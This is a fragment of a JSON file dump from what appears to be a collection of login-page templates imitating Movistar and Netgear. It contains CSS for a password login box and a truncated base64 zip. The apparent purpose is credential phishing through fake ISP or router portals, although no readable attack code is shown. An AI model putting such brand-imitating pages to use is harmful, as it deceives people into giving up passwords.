.cont-sep-9{height:108px}.cont-sep-10{height:120px}.cont-sep-11{height:132px}.cont-sep-12{height:144px}.cont-sep-13{height:156px}.cont-sep-14{height:168px}.cont-sep-15{height:180px}.cont-sep-16{height:192px}.cont-sep-17{height:204px}.cont-sep-18{height:216px}.bg-brand{background-color:#e20074}.bg-gray-38{background-color:#262626}.bg-gray-1{background-color:#a4a4a4}.bg-gray-2{background-color:#7c7c7c}.bg-gray-3{background-color:#6c6c6c}.bg-gray-4{background-color:#ededed}.bg-gray-5{background-color:#4b4b4b}.bg-gray-6{background-color:#d0d0d0}.bg-yellow{background-color:#ffd329}.bg-yellow-25{background-color:#fff4c9}.bg-yellow-50{background-color:#ffe994}.bg-yellow-75{background-color:#ffde5e}.bg-orange{background-color:#ff9a1e}.bg-orange-25{background-color:#ffe5c6}.bg-orange-50{background-color:#ffcc8e}.bg-orange-75{background-color:#ffb356}.bg-violet{background-color:#992c99}.bg-violet-25{background-color:#e5cae5}.bg-violet-50{background-color:#cc95cc}.bg-violet-75{background-color:#b260b2}.bg-dark-blue{background-color:#1063ad}.bg-dark-blue-25{background-color:#c3d8ea}.bg-dark-blue-50{background-color:#87b1d6}.bg-dark-blue-75{background-color:#4b8ac1}.bg-light-blue{background-color:#53baf2}.bg-light-blue-25{background-color:#d4edfb}.bg-light-blue-50{background-color:#a9dcf8}.bg-light-blue-75{background-color:#7ecbf5}.bg-petrol{background-color:#1bada2}.bg-petrol-25{background-color:#c6eae7}.bg-petrol-50{background-color:#8dd6d0}.bg-petrol-75{background-color:#54c1b9}.bg-green{background-color:#bfcb44}.bg-green-25{background-color:#eff2d0}.bg-green-50{background-color:#dfe5a1}.bg-green-75{background-color:#cfd872}\n"
  },
  {
    "path": "sites/movistar_esp/styles/login.css",
    "content": "/* ------------------------------------------------------------------------ */\r\n/* Header\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t*/\r\n/* ------------------------------------------------------------------------ */\r\n\r\n#tbs-header {\r\n    height: 84px;\r\n    margin-bottom: 12px;\r\n}\r\n\r\n#logo{\r\n  margin-top: 20px;\r\n}\r\n\r\n#tbs-header-content {\r\n    background-color: #00a9e0;\r\n    color: #fff;\r\n    height: inherit;\r\n    left:0;\r\n    line-height: 84px;\r\n    overflow: hidden;\r\n    padding: 0 24px;\r\n    position:fixed;\r\n    top:0;\r\n    transition: height linear 0.25s;\r\n    -webkit-transition: height linear 0.25s;\r\n    -moz-transition: height linear 0.25s;\r\n    width: 100%;\r\n    z-index: 1;\r\n}\r\n\r\nbody.scrolled #tbs-header-content {\r\n    height: 4px;\r\n}\r\n\r\n#tbs-nav {\r\n    height: 36px;\r\n    padding: 0 24px;\r\n}\r\n\r\n#tbs-nav-content {\r\n    margin-left: -8px;\r\n}\r\n\r\n/* ------------------------------------------------------------------------ */\r\n/* Login-Box\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t*/\r\n/* ------------------------------------------------------------------------ */\r\n\r\n#tbs-container {\r\n    margin: 0 auto;\r\n    max-width: 500px;\r\n    padding: 48px 12px 0;\r\n}\r\n\r\n#tbs-headline {\r\n    margin-bottom: 48px;\r\n}\r\n\r\n#tbs-headline h1 {\r\n    margin: 0;\r\n    padding: 0;\r\n}\r\n\r\n#tbs-headline h5 {\r\n    margin: 0;\r\n    padding: 0;\r\n    top: 6px;\r\n}\r\n\r\n#tbs-infobox {\r\n    background-color: #f2f2f2;\r\n    padding: 12px 12px;\r\n    line-height: 1em;\r\n}\r\n\r\n#pw_submit {\r\n    position: relative;\r\n}\r\n\r\n#pw_submit[disabled]:after {\r\n    background: url('../images/load.gif') no-repeat;\r\n    background-size: cover;\r\n    bottom: 0;\r\n    content: '';\r\n    height: 24px;\r\n    margin: auto 0;\r\n    /*opacity: 0.15;*/\r\n    position: absolute;\r\n    right: -36px;\r\n    top: 0;\r\n    width: 24px;\r\n}\r\n\r\n#tbs-recovery-link {\r\n    text-align: right;\r\n    margin-bottom: 2px;\r\n}\r\n\r\n.tbs-reauth-label {\r\n    font-size: 15px;\r\n    line-height: 36px;\r\n}\r\n\r\n.error-box {\r\n    background-color: #fdf2f2;\r\n    border: 1px solid #b20000;\r\n    border-radius: 4px;\r\n    color: #b20000;\r\n    font-size: 16px;\r\n    margin-bottom: 36px;\r\n    padding: 12px;\r\n}\r\n\r\n#happy2{\r\n  height: 90px;\r\n  margin-bottom: -40px;\r\n}\r\n\r\n\r\n/* ------------------------------------------------------------------------ */\r\n/* Footer\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t*/\r\n/* ------------------------------------------------------------------------ */\r\n\r\n#tbs-footer {\r\n    border-top: 1px solid #dcdcdc;\r\n    margin-top: 72px;\r\n    padding: 12px 24px 36px;\r\n}\r\n\r\n#tbs-footer.sticky {\r\n    bottom: 0;\r\n    position: fixed;\r\n    width: 100%;\r\n}\r\n\r\n\r\n#tbs-footer .tbs-text-11 {\r\n    color: #8c8c8c;\r\n}\r\n\r\n#key1{\r\n  height:50px;\r\n  font-style: 20px;\r\n  padding: 10px;\r\n}\r\n\r\n/* ------------------------------------------------------------------------ */\r\n/* PDE Toolbox  \t\t\t\t\t\t\t\t\t\t\t\t\t\t\t*/\r\n/* ------------------------------------------------------------------------ */\r\n\r\nol {\r\n    margin: 0;\r\n    padding: 0 0 0 24px;\r\n}\r\n\r\np, p[class] {\r\n    padding: 0;\r\n}\r\n\r\n.icon-information {\r\n    cursor: pointer;\r\n}\r\n\r\n.form-input-set {\r\n    position: relative;\r\n}\r\n\r\n.form-input-set .icon-information {\r\n    position: absolute;\r\n    right: 12px;\r\n    bottom: 9px;\r\n}\r\n\r\n.form-input-set label {\r\n    bottom: 1px;\r\n    cursor: text;\r\n    left: 12px;\r\n    line-height: 35px;\r\n    position: absolute;\r\n}\r\n\r\n.form-input {\r\n    padding-left: 35%;\r\n    padding-right: 36px;\r\n}\r\n\r\n.modal.fade.in {\r\n    z-index: 2;\r\n}\r\n\r\n.btn-large {\r\n    padding-left: 48px;\r\n    padding-right: 48px;\r\n}\r\n\r\n/* Button link from bootstrap  */\r\n.btn-link {\r\n    border-radius: 0;\r\n    color: #0090c4;\r\n    font-weight: normal;\r\n    padding: 0;\r\n}\r\n.btn-link,\r\n.btn-link:active,\r\n.btn-link.active,\r\n.btn-link[disabled],\r\nfieldset[disabled] .btn-link {\r\n    background-color: transparent;\r\n    box-shadow: none;\r\n    -webkit-box-shadow: none;\r\n}\r\n.btn-link,\r\n.btn-link:hover,\r\n.btn-link:focus,\r\n.btn-link:active {\r\n    border-color: transparent;\r\n}\r\n.btn-link:hover,\r\n.btn-link:focus {\r\n    background-color: transparent;\r\n    text-decoration: underline;\r\n}\r\n.btn-link[disabled]:hover,\r\nfieldset[disabled] .btn-link:hover,\r\n.btn-link[disabled]:focus,\r\nfieldset[disabled] .btn-link:focus {\r\n    color: #777;\r\n    text-decoration: none;\r\n}\r\n\r\n/* ------------------------------------------------------------------------ */\r\n/* Callback Tracking\t\t\t\t\t\t\t\t\t\t\t\t\t\t*/\r\n/* ------------------------------------------------------------------------ */\r\n#callback-tracking {\r\n    height: 1px;\r\n    width: 1px;\r\n    border: none;\r\n    position: absolute;\r\n    top: 0; left: 0;\r\n}\r\n\r\n/* ------------------------------------------------------------------------ */\r\n/* Common\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t*/\r\n/* ------------------------------------------------------------------------ */\r\n\r\n.tbs-absolute {\r\n    position: absolute;\r\n}\r\n\r\n.tbs-full-width {\r\n    width: 100%;\r\n}\r\n\r\n.tbs-line-height-32 {\r\n    line-height: 32px;\r\n}\r\n\r\n.tbs-relative {\r\n    position: relative;\r\n}\r\n\r\n.tbs-sep-6 {\r\n    height: 72px;\r\n}\r\n\r\n.tbs-text-upper {\r\n    text-transform: uppercase;\r\n}\r\n\r\n.tbs-text-zero {\r\n    font-size: 0;\r\n}\r\n\r\n.tbs-text-1em {\r\n    line-height: 1em;\r\n}\r\n\r\n.tbs-text-11 {\r\n    font-size: 11px;\r\n}\r\n\r\n/* ------------------------------------------------------------------------ */\r\n/* Responsive\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t*/\r\n/* ------------------------------------------------------------------------ */\r\n\r\n@media screen and (max-width: 639px) {\r\n    #tbs-nav + #tbs-container {\r\n        padding: 12px 12px 0;\r\n    }\r\n\r\n    #tbs-footer {\r\n        padding: 0 24px 36px;\r\n    }\r\n\r\n    #tbs-footer .pull-right, #tbs-footer .pull-left {\r\n        float: none;\r\n    }\r\n\r\n    #tbs-footer .pull-left {\r\n        margin-top: 12px;\r\n    }\r\n\r\n    h1.marketing-l {\r\n        font-size: 36px;\r\n    }\r\n\r\n    .form-input {\r\n        height: 60px;\r\n        padding-left: 12px;\r\n        padding-top: 24px;\r\n    }\r\n\r\n    .form-input-set .icon-information {\r\n        bottom: 20px;\r\n    }\r\n\r\n    .form-input-set label {\r\n        line-height: 58px;\r\n        transition: all linear 0.10s;\r\n    }\r\n\r\n    .form-input-set.floating label {\r\n        bottom: 36px;\r\n        line-height: 1em;\r\n        font-size: 12px;\r\n        font-weight: 600;\r\n    }\r\n\r\n    /* workaround when the input field is auto filled in Chrome */\r\n    .form-input-set .form-input:-webkit-autofill + label {\r\n        bottom: 36px;\r\n        line-height: 1em;\r\n        font-size: 12px;\r\n        font-weight: 600;\r\n    }\r\n\r\n    .tbs-reauth-label {\r\n        font-size: 12px;\r\n        line-height: 1em;\r\n    }\r\n}\r\n"
  },
  {
    "path": "sites/netgear/Login-Netgear.zip_base64.txt",
    "content": "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